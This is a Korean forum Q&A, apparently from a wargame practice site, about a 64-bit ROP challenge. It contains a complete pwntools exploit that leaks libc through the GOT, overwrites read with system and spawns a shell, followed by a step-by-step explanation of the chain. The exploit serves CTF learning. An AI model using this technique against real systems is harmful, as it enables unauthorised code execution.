from pwn import *
p = remote("host3.dreamhack.games", 14928)
elf = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
pop_rdi = 0x0000000000400883
pop_rsi_r15 = 0x0000000000400881
ret = 0x00000000004005a9
payload = b'A'*0x40 + b'B'*0x08
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(write_plt)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(read_plt)
payload += p64(pop_rdi) + p64(read_got + 8) + p64(ret) + p64(read_plt)
p.send(payload)
p.recvuntil(b"A"*0x40)
read_leak = u64(p.recv(6) + b'\x00'*2)
libc_base = read_leak - libc.symbols['read']
system = libc_base + libc.symbols['system']
print("read: ", hex(read_leak))
print("libc_base: ", hex(libc_base))
print("system: ", hex(system))
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
위 코드에서 read(0, buf, 0x400);
에서 입력은 한 후 payload를 통해 작성한 return address 가 실행 된후 write(1, buf, sizeof(buf));
가 실행되는 것이라고 생각했는데 실행해보면 write(1, buf, sizeof(buf));
가 먼저 실행됩니다
이유가 뭔가요??
질문의 의도를 제가 정확히 이해했는지는 확실하지 않지만, 풀이를 하면서 비슷한 궁금증을 가졌다가 해결한 기억이 있어서 답변드립니다.
-
c소스 코드에서
read(0, buf, 0x400);
은buf
변수에 최대0x400
크기의 입력을 받아 저장하는 것으로, payload를 전달해줬을 때, payload를 바로 수행하는 것이 아닌 메모리에 값을 쓰는 것 밖에 하지 않습니다.
따라서, return_address에 이어 ROP를 통해 연속으로 코드 가젯을 쓴다고 한들, 아직main
함수가 끝나기 전이므로 return_address에 작성한 payload를 실행할 순서가 아닙니다. 따라서 바로 payload로 전달한 코드가 실행되지 않고, 이어서write(1, buf, sizeof(buf));
가 먼저 실행되기 됩니다. -
그렇기 때문에
write(1, buf, sizeof(buf));
가 수행되고 소스 코드의main
함수의 수행이 끝나게 되면 return_address로 도착해 Overwrite한 payload가 전달되게 되고,
먼저payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(write_plt)
에서read_got
값이write
콜을 통해 출력된 이후,
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(read_plt)
를 통해 GOT Overwrite를 위한read
콜이 수행되게 되며,
여기서 입력을 추가로 하기 위해 앞에서write
콜을 통해 출력한read_got
와libc
의 오프셋을 통해 구한system
함수 주소와/bin/sh
문자열을 아래에서p.send(p64(system) + b'/bin/sh\x00')
를 통해 전달하여read_got
값을 overwrite하게 됩니다. -
그럼
read
콜이 끝났으니 이어서payload += p64(pop_rdi) + p64(read_got + 8) + p64(ret) + p64(read_plt)
를 수행하게 됩니다.
read_plt
는 이제 GOT Overwrite에 의해system
함수를 수행하게 되고 rdi에는p.send(p64(system) + b'/bin/sh\x00')
를 통해 전달한/bin/sh
문자열이 저장되게 되어system('/bin/sh')
함수를 수행하게 되어 쉘을 획득하게 됩니다.
제 설명이 질문 의도와 맞다면 다행이고, 혹시 아니라면 다른 분들께서 더 좋은 답변을 주시면 감사드릴 것 같습니다. 감사합니다.